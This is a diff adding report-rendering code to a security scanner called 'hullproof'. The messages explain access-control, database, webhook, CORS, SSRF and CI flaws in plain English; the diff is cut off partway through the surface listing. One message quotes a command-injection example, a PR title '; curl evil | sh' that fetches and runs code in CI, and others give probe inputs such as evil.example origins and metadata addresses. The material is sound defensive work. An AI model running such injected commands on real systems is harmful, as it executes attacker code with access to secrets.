hullproof 0.0.0-stage → 0.5.0

package/dist/report/messages.js

@@ -0,0 +1,273 @@
+// Plain English text for every check and for scanner rules: what is wrong, what it lets someone do, how to fix it, and
+// how to confirm the fix. Written for people who build with AI tools. The report never shows a tool's own message text.
+import { readFileSync, readdirSync } from 'node:fs';
+import { join } from 'node:path';
+const CHECKS = {
+    'check.api.webhook-verified-before-use': {
+        title: 'Webhook is used even when its signature check fails',
+        root: 'webhook: signature result does not stop the request',
+        impact: 'Anyone who finds the webhook address can send a fake event, for example a payment that never happened, and the app acts on it.',
+        fix: 'Check the provider signature on the raw request body first. If the check fails, return an error (400 or 401) straight away, before parsing or using the event. Never only log the failure.',
+        confirm: 'Send the route a request with a wrong signature and confirm it is rejected, then rerun hullproof scan.',
+    },
+    'check.authz.owner-filter-on-id-read': {
+        title: 'Record is read by id with no check that the caller owns it',
+        root: 'authorization: read by id without an owner filter',
+        impact: 'A signed in user can change the id in the request and read another user\'s record.',
+        fix: 'Add the owner to the query, for example WHERE id = ? AND owner_id = ? with the signed in user\'s id from the session, or check the owner before returning the row.',
+        confirm: 'Request another user\'s record id while signed in as a different user and confirm you get 404, then rerun hullproof scan.',
+    },
+    'check.ai.tool-owner-filter': {
+        title: 'AI tool reads a record by id with no owner check',
+        root: 'ai tool: read by id without an owner filter',
+        impact: 'Text in a prompt can make the model ask the tool for any record id, so one user can read another user\'s data through the assistant.',
+        fix: 'Pass the signed in user to every tool and filter each read by that user (WHERE id = ? AND owner_id = ?). Never let the model choose whose data is read.',
+        confirm: 'Ask the assistant to read a record that belongs to another user and confirm it refuses, then rerun hullproof scan.',
+    },
+    'check.authz.admin-role-check': {
+        title: 'Admin route lets in any signed in user',
+        root: 'authorization: admin handler without a role check',
+        impact: 'Any user with an account can call the admin route and do what only an admin should, such as changing roles or deleting users.',
+        fix: 'In the server handler itself, load the user from the session and return 403 unless their role is admin. A check in the browser or a cookie check in middleware does not protect the route.',
+        confirm: 'Call the admin route as a normal user and confirm it returns 403, then rerun hullproof scan.',
+    },
+    'check.db.rls-every-table': {
+        title: 'Database table has no row level security',
+        root: 'database: table without row level security',
+        impact: 'With the public anon key that ships in every browser, anyone can read (and with grants, change) every row of this table through the Supabase Data API.',
+        fix: 'Add a migration with alter table <name> enable row level security, then add policies that let each user reach only their own rows. Remove grants to anon that the app does not need.',
+        confirm: 'Query the table with only the anon key and confirm no rows come back, then rerun hullproof scan.',
+    },
+    'check.db.firebase-rules-not-open': {
+        title: 'Firebase database rules let anyone read or write',
+        root: 'database: open Firebase rules',
+        impact: 'Anyone with the app\'s public config can read or overwrite the whole database.',
+        fix: 'Replace allow rules that are always true (or that expire by date) with rules that check request.auth and the owner of each document.',
+        confirm: 'Run the Firebase rules emulator tests for an unauthenticated and a different user, then rerun hullproof scan.',
+    },
+    'check.storage.firebase-rules-not-open': {
+        title: 'Firebase Storage rules let anyone read or write files',
+        root: 'storage: open Firebase rules',
+        impact: 'Anyone with the app\'s public config can download or replace every stored file.',
+        fix: 'Limit each path to its owner, for example allow read, write: if request.auth.uid == uid on /users/{uid}/.',
+        confirm: 'Try to fetch another user\'s file without signing in and confirm it is refused, then rerun hullproof scan.',
+    },
+    'check.secrets.no-secret-in-public-env': {
+        title: 'Secret key is named with a public prefix and ends up in the browser',
+        root: 'secrets: secret under a public env prefix',
+        impact: 'Variables with prefixes such as NEXT_PUBLIC_, VITE_ or EXPO_PUBLIC_ are copied into the code every visitor downloads. A service role key there gives anyone full database access.',
+        fix: 'Rename the variable without the public prefix, read it only in server code, and rotate the key in the provider dashboard because it may already be public.',
+        confirm: 'Build the app and search the built files for the key name and value; neither should appear. Then rerun hullproof scan.',
+    },
+    'check.secrets.no-env-file-committed': {
+        title: 'Environment file is committed to the repository',
+        root: 'secrets: env file in git',
+        impact: 'Anyone who can read the code, or its history, can read the values in the file.',
+        fix: 'Remove the file from git, add it to .gitignore, keep only a .env.example with empty values, and rotate every real value it held.',
+        confirm: 'git ls-files shows no .env file, then rerun hullproof scan.',
+    },
+    'check.web.cors-no-reflected-origin': {
+        title: 'CORS allows whatever site asks',
+        root: 'cors: request origin reflected',
+        impact: 'Any website a signed in user visits can call your API with their cookies and read the answers.',
+        fix: 'Compare the Origin header to an exact list of your own domains and only then send it back. Never copy the header as it is, and never pair a wildcard with credentials.',
+        confirm: 'Send a request with Origin: https://evil.example and confirm no Access-Control-Allow-Origin comes back, then rerun hullproof scan.',
+    },
+    'check.log.no-credential-in-logs': {
+        title: 'Session token or password is written to the logs',
+        root: 'logging: credential in a log line',
+        impact: 'Anyone who can read the logs (staff, a log vendor, a leaked log export) can take over the user\'s session.',
+        fix: 'Remove the token, password or key from the log call. Log a user id or a short reference instead.',
+        confirm: 'Sign in and read the server log; no token should appear. Then rerun hullproof scan.',
+    },
+    'check.supply.no-untrusted-event-in-run': {
+        title: 'CI script expands text that outsiders control',
+        root: 'supply: untrusted event data in a run step',
+        impact: 'A pull request title like "; curl evil | sh" runs as a command in CI with the job\'s token and secrets.',
+        fix: 'Pass the value through env: (for example TITLE: ${{ github.event.pull_request.title }}) and use "$TITLE" in the script.',
+        confirm: 'No run: line holds ${{ github.event... }}, then rerun hullproof scan.',
+    },
+    'check.map.mutating-route-without-auth': {
+        title: 'Route that changes data has no sign in check',
+        root: 'authentication: state changing entry point without a session read',
+        impact: 'Anyone who can reach the address can call it without signing in and change data, such as creating, editing or deleting records.',
+        fix: 'At the top of the handler, read the signed in user from the session and return 401 when there is none. Do the same for every route that changes data, unless it is a sign in route or a webhook that checks a signature.',
+        confirm: 'Call the route with no cookie or token and confirm it returns 401, then rerun hullproof scan.',
+    },
+    'check.map.data-read-without-auth': {
+        title: 'Route returns stored data to callers who are not signed in',
+        root: 'authentication: data read without a session read',
+        impact: 'Anyone can request the address and read data such as users, orders, notes or files, including other people\'s personal data.',
+        fix: 'Read the signed in user from the session first and return 401 when there is none. Then limit the query to the records that user may see.',
+        confirm: 'Call the route with no cookie or token and confirm it returns 401, then rerun hullproof scan.',
+    },
+    'check.map.write-by-id-without-owner': {
+        title: 'Update or delete by id does not check who owns the record',
+        root: 'authorization: write by id without an owner value from the session',
+        impact: 'A signed in user can send another user\'s record id and change or delete that record.',
+        fix: 'Add the owner to the query with the signed in user\'s id from the session, for example WHERE id = ? AND owner_id = ?, and treat zero changed rows as not found.',
+        confirm: 'Send another user\'s record id while signed in as a different user and confirm nothing changes, then rerun hullproof scan.',
+    },
+    'check.map.admin-route-without-role': {
+        title: 'Admin route has no server side role check',
+        root: 'authorization: admin entry point without a role check',
+        impact: 'Any user with an account, or a visitor, can call the admin route and do what only an admin should do.',
+        fix: 'In the server handler itself, load the user and return 403 unless their role is admin. A check in the browser, or a cookie check in middleware, does not protect the route.',
+        confirm: 'Call the route as a normal user and confirm it returns 403, then rerun hullproof scan.',
+    },
+    'check.map.webhook-verify-before-use': {
+        title: 'Webhook does not reliably check who sent it before using the event',
+        root: 'webhook: no signature check, one that does not stop the request, or a body parsed first',
+        impact: 'Anyone who finds the webhook address can send a fake event, for example a payment that never happened, and the app acts on it.',
+        fix: 'Read the raw request body, check the provider signature on it, and return 400 or 401 straight away when the check fails. Parse and use the event only after the check passes.',
+        confirm: 'Send the route a request with a wrong signature and confirm it is rejected, then rerun hullproof scan.',
+    },
+    'check.map.request-url-fetched': {
+        title: 'Server fetches an address that the request supplies',
+        root: 'ssrf: outbound request to a request supplied address',
+        impact: 'An attacker can make the server call internal services or cloud metadata addresses and read the answers.',
+        fix: 'Allow only known hosts: parse the URL, compare its host with a short allowlist, refuse private and loopback addresses, and do not follow redirects without checking the new address.',
+        confirm: 'Submit http://127.0.0.1 and a cloud metadata address and confirm both are refused, then rerun hullproof scan.',
+    },
+    'check.map.privileged-field-from-request': {
+        title: 'Request data can set a role, plan or similar privileged field',
+        root: 'authorization: privileged field written from request data',
+        impact: 'A user can send their own role, plan or balance in the request and give themselves admin rights or paid features.',
+        fix: 'Write only an explicit list of fields the user may change, never the whole request object, and set role, plan and similar fields only from server side code that has checked permission.',
+        confirm: 'Send the route a request that includes role: admin and confirm the role does not change, then rerun hullproof scan.',
+    },
+    'check.map.privileged-action-without-audit': {
+        title: 'Admin action changes data and writes no audit record',
+        root: 'logging: privileged action without an audit record',
+        impact: 'When an admin account is misused, or an admin makes a mistake, there is no record of who changed what and when.',
+        fix: 'Write an audit record in the same handler for every role change, delete and other admin write: who, what, which record and when, stored where the app cannot edit it afterwards.',
+        confirm: 'Make an admin change and confirm one audit record appears, then rerun hullproof scan.',
+    },
+    'check.map.redirect-from-request': {
+        title: 'Redirect target comes from the request without a check',
+        root: 'redirect: target taken from the request',
+        impact: 'An attacker can send a link on your domain that lands a signed in user on a fake page, which is a common step in phishing.',
+        fix: 'Accept only relative paths that start with a single slash, or compare the full address with an allowlist, and fall back to a fixed page otherwise.',
+        confirm: 'Pass https://example.org as the redirect value and confirm the app ignores it, then rerun hullproof scan.',
+    },
+    'check.map.mobile-secret-in-config': {
+        title: 'Secret written into a mobile configuration file',
+        root: 'mobile: a secret value sits in a file that ships inside the app',
+        impact: 'Anyone can unpack the app and read the file. A secret in it is public from the day the app is released.',
+        fix: 'Remove the value from the file. Keep the secret on your server and have the app ask the server, or fetch a short lived token at run time, then rotate the value that was shipped.',
+        confirm: 'Unpack the built app, search for the name, and confirm no value is stored, then rerun hullproof scan.',
+    },
+    'check.map.read-by-id-without-owner': {
+        title: 'A signed in user can read another user\'s record by id',
+        root: 'authorization: record read by an id from the request with no owner condition',
+        impact: 'Any signed in user can change the id in the request and read records that belong to other users.',
+        fix: 'Add the owner to the query (where id equals the request id and owner equals the signed in user) or check ownership after the read and answer not found when it does not match.',
+        confirm: 'Sign in as user A, request a record that belongs to user B by its id, confirm you get not found, then rerun hullproof scan.',
+    },
+    'check.map.supabase-open-table': {
+        title: 'Table is open to the public key through a grant or an always true policy',
+        root: 'database: table readable or writable without signing in',
+        impact: 'With the public anon key that ships in every browser, anyone can read or change the rows through the Supabase Data API.',
+        fix: 'Revoke the grants the anon role does not need, enable row level security, and replace always true policies with policies that tie each row to its owner.',
+        confirm: 'Query the table with only the anon key and confirm no rows come back, then rerun hullproof scan.',
+    },
+    'check.map.supabase-privileged-column-grant': {
+        title: 'Signed in users can update role, plan or similar columns directly',
+        root: 'database: client role can write a privileged column',
+        impact: 'Any signed in user can call the Data API and set their own role or plan, which grants admin rights or paid features.',
+        fix: 'Replace the whole table update grant with a grant that lists only the columns users may change, and move role and plan changes into server side code.',
+        confirm: 'As a normal user, update your own role through the Data API and confirm it is refused, then rerun hullproof scan.',
+    },
+    'check.map.supabase-policy-trusts-claims': {
+        title: 'Policy trusts a value the user can edit',
+        root: 'database: policy reads user_metadata',
+        impact: 'Users can change their own user_metadata, so a policy that trusts it can be passed by anyone who edits it.',
+        fix: 'Base policies on the user id and on app_metadata or a roles table that only server code can write.',
+        confirm: 'Change user_metadata on a test account and confirm access does not change, then rerun hullproof scan.',
+    },
+    'check.map.firebase-auth-only-rule': {
+        title: 'Firebase rule lets any signed in user reach another user\'s data',
+        root: 'database: rule checks sign in but not ownership',
+        impact: 'Any signed in user can read or change the data stored under another user\'s id.',
+        fix: 'Compare the id in the path with the caller, for example request.auth.uid == userId, for every path that holds one user\'s data.',
+        confirm: 'Run the rules emulator tests with a second signed in user and confirm access is refused, then rerun hullproof scan.',
+    },
+};
+export function checkMessage(id) {
+    return CHECKS[id] ?? { title: `Check ${id} failed`, root: `check ${id}`, impact: 'See the check definition.', fix: 'See the check definition.', confirm: 'Rerun hullproof scan.' };
+}
+export const checkIds = () => Object.keys(CHECKS);
+// Scanner rules: the first sentence of the rule's own message is the title, the rest is the fix. Semgrep rule files are
+// read from the engine's rules folder and the rule pack; Gitleaks, OSV Scanner and Trivy get a fixed text per tool.
+const ruleCache = new Map();
+function semgrepMessages(rulesDir) {
+    let m = ruleCache.get(rulesDir);
+    if (m)
+        return m;
+    m = new Map();
+    let names = [];
+    try {
+        names = readdirSync(rulesDir).filter((n) => /\.ya?ml$/.test(n)).sort();
+    }
+    catch { /* no rules folder */ }
+    for (const n of names) {
+        const lines = readFileSync(join(rulesDir, n), 'utf8').split('\n');
+        let id = null;
+        for (let i = 0; i < lines.length; i++) {
+            const idm = /^\s*-\s*id:\s*["']?([\w.-]+)/.exec(lines[i]);
+            if (idm) {
+                id = idm[1];
+                continue;
+            }
+            const mm = /^(\s*)message:\s*(.*)$/.exec(lines[i]);
+            if (!mm || !id)
+                continue;
+            let text = mm[2].trim();
+            if (/^[>|]-?$/.test(text)) {
+                const body = [];
+                for (let k = i + 1; k < lines.length && (lines[k].trim() === '' || /^\s*/.exec(lines[k])[0].length > mm[1].length); k++)
+                    body.push(lines[k].trim());
+                text = body.join(' ').trim();
+            }
+            m.set(id, text.replace(/^["']|["']$/g, ''));
+            id = null;
+        }
+    }
+    ruleCache.set(rulesDir, m);
+    return m;
+}
+const firstSentence = (s) => {
+    const at = s.search(/\.\s/);
+    return at < 0 ? [s.replace(/\.$/, ''), ''] : [s.slice(0, at), s.slice(at + 1).trim()];
+};
+export function ruleMessage(tool, ruleId, rulesDirs) {
+    if (tool === 'semgrep') {
+        // A later folder (the rule pack) wins over an earlier one for the same rule id.
+        const text = rulesDirs.map((d) => semgrepMessages(d).get(ruleId)).filter(Boolean).pop();
+        if (text) {
+            const [title, rest] = firstSentence(text);
+            return { title, root: `rule ${ruleId}`, impact: title + '.', fix: rest || 'Read the rule and change the code it points at.', confirm: 'Rerun hullproof scan; the rule no longer matches.' };
+        }
+        return { title: `Semgrep rule ${ruleId} matched`, root: `rule ${ruleId}`, impact: 'A code pattern linked to the requirement was found.', fix: 'Read the rule and change the code it points at.', confirm: 'Rerun hullproof scan; the rule no longer matches.' };
+    }
+    if (tool === 'gitleaks')
+        return {
+            title: 'A secret shaped value is committed', root: `secret ${ruleId}`,
+            impact: 'Anyone who can read the code or its history can use the value if it is live.',
+            fix: 'Rotate the value in the provider dashboard first, then move it to environment configuration and remove it from the code. Removing it from history does not make it safe again.',
+            confirm: 'The provider shows the old value revoked, then rerun hullproof scan.',
+        };
+    if (tool === 'osv-scanner')
+        return {
+            title: `Dependency has a known vulnerability (${ruleId})`, root: `advisory ${ruleId}`,
+            impact: 'Code with a published vulnerability is part of the app.',
+            fix: 'Upgrade the package to a fixed version, or record why the vulnerable code is not reachable.',
+            confirm: 'Rerun hullproof scan with --allow-network; the advisory no longer appears.',
+        };
+    return {
+        title: `${tool} check ${ruleId} matched`, root: `${tool} ${ruleId}`,
+        impact: 'A configuration pattern linked to the requirement was found.',
+        fix: `Read ${tool} check ${ruleId} and change the configuration it points at.`,
+        confirm: 'Rerun hullproof scan; the check no longer matches.',
+    };
+}

package/dist/report/prove-section.js

@@ -0,0 +1,65 @@
+// The proof sandbox part of report.md: what was proven by a test (with the redacted request and response of the attack and the hashes
+// of the three transcripts), what was not proven and why, and what is not provable here. Built from the prove files only. Same files,
+// same bytes. A scan folder with no prove folder gets no section, so earlier reports keep their bytes.
+import { existsSync } from 'node:fs';
+import { proveDir, readProveResult, readRuns } from '../prove/store.js';
+export function loadProveFiles(scanDir) {
+    const dir = proveDir(scanDir);
+    if (!existsSync(dir))
+        return { result: null, first: {} };
+    const result = readProveResult(dir);
+    const first = {};
+    for (const s of result?.specs ?? [])
+        if (s.outcome === 'proven') {
+            const r = readRuns(dir, s.spec_id)[0];
+            if (r)
+                first[s.spec_id] = r;
+        }
+    return { result, first };
+}
+const cell = (s) => s.replace(/\|/g, '\\|').replace(/\s+/g, ' ');
+const loc = (e) => `\`${e.file}:${e.line}\``;
+const clip = (s, n) => (s.length <= n ? s : s.slice(0, n - 1) + '…');
+const body = (r) => clip(r.json !== undefined ? JSON.stringify(r.json) : (r.text ?? ''), 240);
+export function renderProve(f, merged) {
+    const r = f?.result;
+    if (!f || !r)
+        return [];
+    const out = [];
+    const p = (...l) => { out.push(...l); };
+    const c = r.counts;
+    p('## Proof sandbox: findings proven by a test', '');
+    p('A test written as data ran against a copy of the app inside a sandbox with no network, no secrets and no access to your files. A flaw counts as proven only when the positive control passed and the attack got through in 3 of 3 runs. Anything less stays a lead with its reason, and a lead never holds or releases the gate.', '');
+    p(`1. Runner: ${r.runner}${r.runner === 'container' ? '' : ' (no isolation, for the engine\'s own fixtures only)'}. Specs: ${c.specs}. Proven: ${c.proven}. Not proven: ${c.not_proven}. Invalid: ${c.invalid}. Unstable: ${c.unstable}. Error: ${c.error}. Not provable here: ${c.not_provable}. Spec files dropped: ${c.dropped}.`);
+    p(`2. Left behind after teardown: ${r.left_behind}. Left out of the copy that went into the sandbox: ${r.copy_excluded.length} item(s) such as environment files and keys.`, '');
+    if (r.not_provable)
+        p(`Not provable here (${r.not_provable.code}): ${r.not_provable.reason}`, '');
+    const gate = new Set((merged?.inGate ?? []).map((l) => l.key));
+    const provenSpecs = r.specs.filter((s) => s.outcome === 'proven');
+    if (provenSpecs.length) {
+        p('### Proven findings', '');
+        provenSpecs.forEach((s, i) => {
+            const key = s.lead_key ?? `spec:${s.spec_id}`;
+            p(`#### P-${i + 1} ${s.claim}`, '');
+            p(`Where: ${loc(s.sink)}. Requirements: ${s.requirement_ids.join(', ') || 'none named'}. Test: ${s.title} (${s.spec_id}).`);
+            p(`Evidence: ${s.runs.length} of ${r.runs_required} runs proven. Transcript hashes: ${s.runs.map((x) => `run ${x.run} ${x.transcript_sha256.slice(0, 16)}`).join(', ')}. Files: \`prove/runs/${s.spec_id}/run-1.json\` to \`run-${r.runs_required}.json\`.`);
+            const rec = f.first[s.spec_id];
+            const attack = rec?.steps.filter((x) => x.phase === 'attack') ?? [];
+            for (const st of attack)
+                if (st.response)
+                    p(`Attack step ${st.id}: ${st.actor} sent ${st.request.method} ${st.request.path} and got ${st.response.status} ${body(st.response)}`);
+            p(gate.has(key) ? 'Counts in the gate: yes, as a fail record with machine evidence (kind test).' : 'Counts in the gate: no, none of its requirements is in this run\'s scope (or it names none).', '');
+        });
+    }
+    const rest = r.specs.filter((s) => s.outcome !== 'proven');
+    if (rest.length) {
+        p('### Not proven', '', 'These stay leads. None of them can hold or release the gate.', '', '| Spec | Where | Result | Why |', '|---|---|---|---|');
+        for (const s of rest)
+            p(`| ${cell(s.spec_id)} | ${loc(s.sink)} | ${s.outcome.replace('_', ' ')} | ${cell(s.reason)} |`);
+        p('');
+    }
+    if (r.dropped.length) {
+        p('### Spec files dropped', '', ...r.dropped.map((d) => `- ${d.file}: ${d.reason}`), '');
+    }
+    return out;
+}

package/dist/report/report.js

@@ -0,0 +1,156 @@
+// report.md: the plain English report for people who build with AI tools. Built from the scan folder only.
+// Same scan folder, same bytes: no clock, no absolute path, everything sorted.
+import { cmp } from '../util.js';
+import { ENGINE_VERSION } from '../version.js';
+import { OWNER_ACTION } from './build.js';
+import { SEV_RANK } from './kit.js';
+import { renderEntryPoints } from './entry-points.js';
+import { reportSection } from '../packs/coverage.js';
+import { renderHunt } from './hunt-section.js';
+import { renderProve } from './prove-section.js';
+const cell = (s) => s.replace(/\|/g, '\\|').replace(/\n/g, ' ');
+const loc = (e) => `\`${e.file}:${e.line}\``;
+const STATE_ORDER = ['NEEDS DYNAMIC TEST', 'NEEDS DASHBOARD', 'NEEDS BUILD', 'ASK OWNER', 'ATTESTATION', 'UNKNOWN'];
+const STATE_MEANS = {
+    'NEEDS DYNAMIC TEST': 'Only a test of the running app (or a staging copy) can settle these.',
+    'NEEDS DASHBOARD': 'Only a provider setting can settle these, shown by a dated export or screenshot.',
+    'NEEDS BUILD': 'Only a production build from this commit can settle these.',
+    'ASK OWNER': 'Only the owner can answer these.',
+    'ATTESTATION': 'These need a signed, dated statement.',
+    'UNKNOWN': 'These are settled by reading code, and no engine check or rule covers them yet. The engine has a code map and no model.',
+};
+export function renderReport(s, kit, gate, merged = null) {
+    const out = [];
+    const p = (...l) => { out.push(...l); };
+    const fails = s.findings.records.filter((r) => r.kind === 'fail')
+        .sort((a, b) => SEV_RANK[b.severity] - SEV_RANK[a.severity] || cmp(a.fingerprint, b.fingerprint));
+    const allObs = s.findings.records.filter((r) => r.kind === 'observation');
+    // Test code observations carry a fingerprint slug starting with test-code (src/report/build.ts).
+    const slugOf = (o) => o.fingerprint.split(':')[2];
+    const isTest = (o) => slugOf(o).startsWith('test-code-');
+    const isLead = (o) => slugOf(o).startsWith('lead-');
+    const obs = allObs.filter((o) => !isTest(o) && !isLead(o));
+    const testObs = allObs.filter(isTest);
+    const leadObs = allObs.filter(isLead);
+    const count = (w) => s.results.filter((r) => r.result.startsWith(w)).length;
+    const stageText = s.info.stage_source === 'STAGE.md' ? 'read from docs/security/STAGE.md' : s.info.stage_source === 'flag' ? 'set with --stage' : 'not declared, so LAUNCH is assumed';
+    p('# Hullproof report', '');
+    p(`Commit \`${s.info.commit}\`, tree \`${s.info.tree}\`, ${s.info.tree_clean ? 'no uncommitted changes to tracked files' : 'with uncommitted changes to tracked files (the report covers the files as they were, not the commit alone)'}. Hullproof Engine ${ENGINE_VERSION}, standard ${s.info.kit.standard_version}, ${s.info.edition} edition, stage ${s.info.stage} (${stageText}).`, '');
+    p('This report comes from code and configuration only, with no model. Every finding is a pattern match that nobody has confirmed yet, so treat each one as likely and use its check step to confirm it. A requirement that nothing settled is listed as NOT ASSESSED. That is never a pass.', '');
+    p(`## Verdict: ${gate.label}`, '');
+    const notMet = gate.conditions.filter((c) => !c.met);
+    if (gate.verdict === 'NOT READY') {
+        p(`The release gate is not met. ${notMet.length} of ${gate.conditions.length} conditions are open${gate.runSupportsReady ? '' : ', and a run with unconfirmed BLOCKER or CRITICAL findings cannot support READY'}. A scan of files alone can never reach READY: most BLOCKER and CRITICAL requirements are settled by provider settings, a production build or a test of the running app, which the owner supplies.`, '');
+    }
+    else {
+        p('Every condition of the release gate is met for this commit with the evidence supplied.', '');
+    }
+    p('| Condition | Met | Why |', '|---|---|---|');
+    for (const c of gate.conditions)
+        p(`| ${c.id} | ${c.met ? 'yes' : 'no'} | ${cell(c.why)} |`);
+    p('');
+    p('## Summary', '');
+    const bySev = ['BLOCKER', 'CRITICAL', 'HIGH', 'MEDIUM', 'LOW'].map((v) => [v, fails.filter((f) => f.severity === v).length]).filter(([, n]) => n > 0);
+    p(`1. Findings: ${fails.length}${bySev.length ? ` (${bySev.map(([v, n]) => `${n} ${v}`).join(', ')})` : ''}. In test code, reported apart and never in the gate: ${testObs.length}. Leads from rules still being measured, never in the gate: ${leadObs.length}.`);
+    p(`2. Requirements in scope: ${s.results.length}. FAIL ${count('FAIL')}, PASS (static) ${count('PASS')}, NOT ASSESSED ${count('NOT ASSESSED')}.`);
+    p(`3. Checks: ${s.info.checks.ran} ran, ${s.info.checks.not_run} did not run (listed below with the reason).`);
+    const ran = s.metas.filter((m) => m.status === 'ran').map((m) => m.tool);
+    p(`4. Scanners that ran: ${ran.length ? ran.join(', ') : 'none'}.${s.info.scanners_available ? '' : ' The scanner adapters were not available in this build, so no scanner ran.'}`);
+    const pack = s.info.rule_pack;
+    p(`5. Semgrep rule pack: ${pack ? `${pack.name}, ${pack.files.length} rule files added to the engine rules (sha256 ${pack.sha256.slice(0, 16)})` : 'none, the engine rules only'}.`, '');
+    p('## Findings, most severe first', '');
+    if (fails.length === 0)
+        p('No check or mapped rule failed. That does not mean the requirements pass: see NOT ASSESSED below.', '');
+    fails.forEach((f, i) => {
+        const me = f.machine_evidence;
+        p(`### F-${i + 1} ${f.severity}: ${f.title}`, '');
+        p(`Where: ${f.evidence.map(loc).join(', ')}`, '');
+        p(`Requirements: ${f.sec_ids.map((id) => `${id} (${kit.byId.get(id)?.title ?? 'unknown'})`).join('; ')}`, '');
+        p(`What could happen: ${f.impact_statement}`, '');
+        p(`How to fix it: ${f.remediation.strategy}`, '');
+        p(`How to check the fix: ${f.remediation.confirm}`, '');
+        p(`Found by: ${me.tool === 'hullproof-check' ? `engine check ${me.rule_id}` : `${me.tool} ${me.tool_version}, rule ${me.rule_id}`}. Each line: ${f.evidence.map((e) => `${e.file}:${e.line} ${e.note}`).join('; ')}.`, '');
+    });
+    p(...renderHunt(s.hunt, merged));
+    p(...renderProve(s.prove, merged));
+    if (obs.length) {
+        p('## Leads outside this run\'s scope', '');
+        p('These were found but do not count in this run: their requirement is above the declared stage, outside the edition, or not mapped to a requirement. They never affect the gate.', '');
+        for (const o of obs)
+            p(`- ${o.title} at ${o.where.map(loc).join(', ')}. ${o.note}`);
+        p('');
+    }
+    if (leadObs.length) {
+        p('## Leads from rules still being measured', '');
+        p('Each rule has a confidence tier from measurement on public benchmarks (rules/tiers.json). A rule whose measured precision is below the threshold, or that has not been measured yet, reports leads: read the code at each place. Leads never fail a requirement or affect the gate. Secret findings are never leads.', '');
+        for (const o of leadObs)
+            p(`- ${o.title} at ${o.where.map(loc).join(', ')}. ${o.note}`);
+        p('');
+    }
+    if (testObs.length) {
+        p('## Findings in test code', '');
+        p('These are in test, fixture, spec, mock or example files, found by folder and file name conventions. They are kept so a person can read them, and they never fail a requirement or affect the gate. Secret findings are not in this list: a live key is a leak wherever it is committed, so they stay findings.', '');
+        for (const o of testObs)
+            p(`- ${o.title} at ${o.where.map(loc).join(', ')}. ${o.note}`);
+        p('');
+    }
+    p('## What could not run, and why', '');
+    p('| Scanner | Status | Why | Version | Requirements left NOT ASSESSED because of it |', '|---|---|---|---|---|');
+    if (s.metas.length === 0)
+        p('| all | no scanner adapter ran | | none | the requirements their rules cover |');
+    for (const m of s.metas)
+        p(`| ${m.tool} | ${m.status} | ${cell(s.reasons[m.tool] ?? '')} | ${m.version ?? 'none'}${m.version && !m.version_tested ? ' (not a tested version)' : ''} | ${m.not_assessed_sec_ids.join(', ') || 'none'} |`);
+    p('');
+    if (s.checks.not_run.length) {
+        p('| Check | Why it did not run |', '|---|---|');
+        for (const n of s.checks.not_run)
+            p(`| ${n.check_id} | ${cell(n.reason)} |`);
+        p('');
+    }
+    if (s.info.dropped.length) {
+        p('Some checks name requirements that this kit\'s controls file does not hold yet, so those requirements are not in the results:', '');
+        for (const d of s.info.dropped)
+            p(`- ${d.source} at \`${d.where}\`: ${d.ids.join(', ')}`);
+        p('');
+    }
+    p('Discovery reads files, not deployments. Anything set only in a provider dashboard is invisible to this scan.', '');
+    p('## What the scan read', '');
+    p(`${s.surface.files_listed} files were listed (dependency folders, build output, ignored files and the kit's own folders are left out).`, '');
+    p('| Kind | Files |', '|---|---|');
+    for (const k of s.surface.surfaces)
+        p(`| ${k.kind} | ${k.count} |`);
+    p('');
+    if (s.codemap)
+        p(...renderEntryPoints(s.codemap));
+    p(...reportSection(s.stack));
+    p('## Unverified controls (NOT ASSESSED)', '');
+    p('Nothing in the files settled these. They are open, not passed. Each group says what settles it.', '');
+    for (const st of STATE_ORDER) {
+        const rows = s.results.filter((r) => r.result === `NOT ASSESSED: ${st}`);
+        if (!rows.length)
+            continue;
+        p(`### NOT ASSESSED: ${st} (${rows.length})`, '', `${STATE_MEANS[st]} ${OWNER_ACTION[st]}`, '');
+        p('| ID | Severity | Requirement |', '|---|---|---|');
+        for (const r of rows.slice().sort((a, b) => SEV_RANK[kit.byId.get(b.id).severity] - SEV_RANK[kit.byId.get(a.id).severity] || cmp(a.id, b.id))) {
+            const c = kit.byId.get(r.id);
+            p(`| ${r.id} | ${c.severity} | ${cell(c.title)} |`);
+        }
+        p('');
+    }
+    const passes = s.results.filter((r) => r.result === 'PASS (static)');
+    if (passes.length) {
+        p('## PASS (static)', '', 'Settled by reading the repository. Only requirements whose authority is the repository can pass this way.', '');
+        p('| ID | Requirement | How |', '|---|---|---|');
+        for (const r of passes)
+            p(`| ${r.id} | ${cell(kit.byId.get(r.id)?.title ?? '')} | ${cell(r.notes)} |`);
+        p('');
+    }
+    p('## Reproducibility', '');
+    p('The same commit, engine version, kit files and tool versions give the same bytes in every file of the scan folder except run.json and scan/run.json.', '');
+    p('| Item | Value |', '|---|---|');
+    p(`| Engine | ${ENGINE_VERSION} |`, `| Controls file sha256 | ${s.info.kit.controls_sha256} |`, `| Checks | ${s.info.checks.total} |`);
+    for (const m of s.metas)
+        p(`| ${m.tool} | ${m.version ?? 'not run'}, config sha256 ${m.config_sha256 ?? 'none'}, files scanned ${m.files_scanned ?? 'unknown'} of ${m.files_tracked ?? 'unknown'} tracked${m.db_date ? `, advisory data ${m.db_date}` : ''} |`);
+    p('');
+    return out.join('\n');
+}

package/dist/report/surface.js

@@ -0,0 +1,21 @@
+import { handlerFiles } from '../checks/code/shared.js';
+const MAX_LISTED = 50;
+export function surface(ctx) {
+    const handlers = handlerFiles(ctx);
+    const kinds = [
+        ['server request handlers', handlers],
+        ['webhook handlers', handlers.filter((f) => /webhook/i.test(f))],
+        ['admin handlers', handlers.filter((f) => /(^|\/)(admin|backoffice|staff)(\/|\.|$)/i.test(f))],
+        ['sign in and account routes', handlers.filter((f) => /login|signin|sign-in|signup|sign-up|register|password|otp|auth/i.test(f))],
+        ['AI tool and model code', ctx.select(['**/{ai,llm,agent,agents,mcp}/**/*', '**/*tool*.{ts,js,py}'])],
+        ['database migrations and rules', ctx.select(['**/migrations/**/*.sql', '**/schema.sql', '**/*.rules', '**/database.rules.json'])],
+        ['CI workflows', ctx.select(['.github/workflows/*.{yml,yaml}', '.gitlab-ci.yml', 'bitbucket-pipelines.yml', '.circleci/config.yml', 'azure-pipelines.yml'])],
+        ['infrastructure code', ctx.select(['**/*.tf', '**/*.tf.json', '**/*.bicep', '**/template.{yml,yaml}', '**/Dockerfile*', '**/*compose*.{yml,yaml}', '**/k8s/**/*.{yml,yaml}'])],
